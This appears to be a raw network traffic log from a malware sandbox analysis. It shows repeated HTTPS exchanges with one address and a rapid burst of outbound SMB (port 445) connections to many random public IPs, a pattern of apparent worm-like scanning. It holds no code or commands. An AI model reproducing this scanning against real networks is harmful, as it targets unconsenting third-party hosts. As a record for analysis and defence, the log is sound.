Jul 20, 2022 15:44:15.929231882 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:15.929330111 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:15.951077938 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:15.951102018 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:15.987940073 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:15.988090038 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:16.056247950 CEST	50754	445	192.168.2.7	188.18.139.16
Jul 20, 2022 15:44:16.086864948 CEST	50742	445	192.168.2.7	46.101.131.83
Jul 20, 2022 15:44:16.103326082 CEST	50755	445	192.168.2.7	173.98.28.112
Jul 20, 2022 15:44:16.116713047 CEST	445	50742	46.101.131.83	192.168.2.7
Jul 20, 2022 15:44:16.318617105 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:16.318676949 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:16.318985939 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:16.320935011 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:16.320966005 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:16.356024027 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:16.356234074 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:16.369906902 CEST	50757	445	192.168.2.7	38.98.91.174
Jul 20, 2022 15:44:16.525708914 CEST	50758	445	192.168.2.7	99.48.120.42
Jul 20, 2022 15:44:16.526607990 CEST	50759	445	192.168.2.7	60.218.221.84
Jul 20, 2022 15:44:16.527381897 CEST	50760	445	192.168.2.7	136.160.69.253
Jul 20, 2022 15:44:16.528320074 CEST	50761	445	192.168.2.7	111.199.30.11
Jul 20, 2022 15:44:16.534373045 CEST	50762	445	192.168.2.7	190.229.39.219
Jul 20, 2022 15:44:16.534817934 CEST	50763	445	192.168.2.7	159.163.196.10
Jul 20, 2022 15:44:16.534856081 CEST	50764	445	192.168.2.7	153.65.148.87
Jul 20, 2022 15:44:16.534972906 CEST	50765	445	192.168.2.7	89.119.87.8
Jul 20, 2022 15:44:16.535146952 CEST	50767	445	192.168.2.7	117.234.196.152
Jul 20, 2022 15:44:16.535168886 CEST	50766	445	192.168.2.7	172.219.71.1
Jul 20, 2022 15:44:16.535243988 CEST	50768	445	192.168.2.7	170.252.59.40
Jul 20, 2022 15:44:16.535325050 CEST	50770	445	192.168.2.7	12.49.174.221
Jul 20, 2022 15:44:16.535350084 CEST	50769	445	192.168.2.7	167.9.113.130
Jul 20, 2022 15:44:16.535476923 CEST	50771	445	192.168.2.7	65.62.251.77
Jul 20, 2022 15:44:16.535494089 CEST	50772	445	192.168.2.7	118.97.117.244
Jul 20, 2022 15:44:16.535619974 CEST	50773	445	192.168.2.7	124.39.95.59
Jul 20, 2022 15:44:16.535738945 CEST	50774	445	192.168.2.7	88.205.234.101
Jul 20, 2022 15:44:16.535749912 CEST	50775	445	192.168.2.7	82.139.127.76
Jul 20, 2022 15:44:16.536155939 CEST	50776	445	192.168.2.7	86.21.136.33
Jul 20, 2022 15:44:16.666969061 CEST	50777	445	192.168.2.7	132.249.181.80
Jul 20, 2022 15:44:16.990255117 CEST	50778	445	192.168.2.7	191.150.14.220
Jul 20, 2022 15:44:16.990755081 CEST	50779	445	192.168.2.7	66.221.163.57
Jul 20, 2022 15:44:16.991297007 CEST	50780	445	192.168.2.7	117.112.42.182
Jul 20, 2022 15:44:16.991800070 CEST	50781	445	192.168.2.7	220.199.80.72
Jul 20, 2022 15:44:16.992400885 CEST	50782	445	192.168.2.7	137.72.210.165
Jul 20, 2022 15:44:17.006941080 CEST	50783	445	192.168.2.7	47.174.64.56
Jul 20, 2022 15:44:17.134942055 CEST	50784	445	192.168.2.7	188.18.139.17
Jul 20, 2022 15:44:17.228939056 CEST	50785	445	192.168.2.7	29.145.189.7
Jul 20, 2022 15:44:17.494333029 CEST	50786	445	192.168.2.7	87.95.90.24
Jul 20, 2022 15:44:17.573852062 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.573887110 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.574251890 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.574268103 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.574337006 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.574342012 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.574364901 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.574440002 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.574630022 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.574660063 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.574790955 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.575033903 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.575269938 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.575308084 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.575380087 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.575444937 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.575476885 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.575488091 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.575639963 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.575701952 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.575882912 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.576301098 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.576705933 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.576801062 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.576848984 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.593772888 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.593808889 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.593831062 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.593925953 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.593956947 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.593960047 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.593966007 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.593997002 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.594021082 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.594041109 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.594078064 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.594094992 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.594103098 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.594136000 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.594162941 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.594228029 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.594249010 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.594270945 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.594286919 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.594310045 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.594347000 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.594391108 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.594950914 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.594979048 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.595015049 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.595057011 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.595102072 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.595113039 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.595174074 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.595660925 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.595689058 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.595717907 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.595766068 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.595777035 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.595818043 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.595860958 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.595882893 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.595911980 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.595968008 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.595982075 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.596009970 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.596075058 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.596095085 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.596120119 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.596152067 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.596204996 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.596215010 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.596240044 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.596265078 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.596522093 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.596534967 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.596555948 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.596575022 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.596607924 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.596708059 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.596726894 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.596739054 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.596808910 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.597049952 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.597079992 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.597119093 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.597157001 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.597177029 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.597201109 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.597242117 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.597552061 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.597578049 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.597682953 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.597702026 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.597754955 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.598273993 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.598328114 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.598329067 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.598385096 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.598390102 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.598393917 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.598412037 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.598421097 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.598449945 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.598479986 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.598489046 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.598493099 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.598599911 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.598608017 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.598644972 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.598644972 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.598653078 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.598974943 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.599008083 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.599092960 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.599112988 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.599127054 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.599154949 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.599776983 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.599806070 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.599952936 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.599977016 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.600045919 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.610418081 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.610451937 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.610604048 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.610622883 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.610650063 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.610690117 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.610691071 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.610750914 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.610770941 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.610800982 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.610919952 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.611407042 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.611536026 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.611721039 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.611831903 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.612334013 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.612385035 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.612468004 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.612510920 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.612560987 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.612572908 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.612633944 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.613301992 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.613339901 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.613404036 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.613415956 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.613482952 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.613533020 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.613570929 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.613656998 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.615014076 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.615120888 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.616002083 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.616033077 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.616106033 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.616118908 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.616149902 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.616172075 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.616282940 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.616322041 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.616379976 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.616391897 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.616405964 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.616422892 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.616447926 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.616518021 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.616547108 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.616568089 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.616569042 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.616606951 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.616724968 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.616784096 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.616827011 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.616846085 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.616873026 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.616897106 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.617794991 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.617830992 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.617969036 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.617988110 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.618045092 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.618586063 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.618729115 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.618757010 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.618796110 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.618864059 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.618881941 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.618910074 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.618940115 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.619455099 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.619488955 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.619589090 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.619606018 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.619615078 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.619637966 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.619672060 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.619714975 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.619720936 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.619842052 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.619891882 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.619971991 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.619982958 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.619991064 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.620007992 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.620024920 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.620090008 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.620096922 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.620111942 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.620141029 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.620141983 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.620165110 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.620179892 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.620233059 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.620249033 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.620280981 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.620282888 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.620311022 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.620383978 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.620516062 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.620621920 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.621088982 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.621196985 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.621433973 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.621464014 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.621526003 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.621540070 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.621567965 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.621592045 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.621675014 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.621767998 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.626831055 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.626857996 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.627019882 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.627033949 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.627099037 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.627734900 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.627774954 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.627887011 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.627902031 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.627955914 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.630426884 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.630460978 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.630536079 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.630558968 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.630599976 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.630743027 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.631565094 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.631602049 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.631659985 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.631683111 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.631716967 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.631746054 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.632210970 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.632251024 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.632318020 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.632328033 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.632374048 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.632402897 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.633857965 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.633899927 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.633915901 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.634080887 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.634114027 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.634155035 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.634190083 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.634198904 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.634216070 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.634229898 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.634285927 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.634293079 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.634351969 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.634370089 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.634387016 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.634417057 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.634710073 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.634746075 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.634808064 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.634839058 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.634857893 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.634908915 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.634932041 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.635091066 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.635126114 CEST	443	50753	80.67.82.211	192.168.2.7
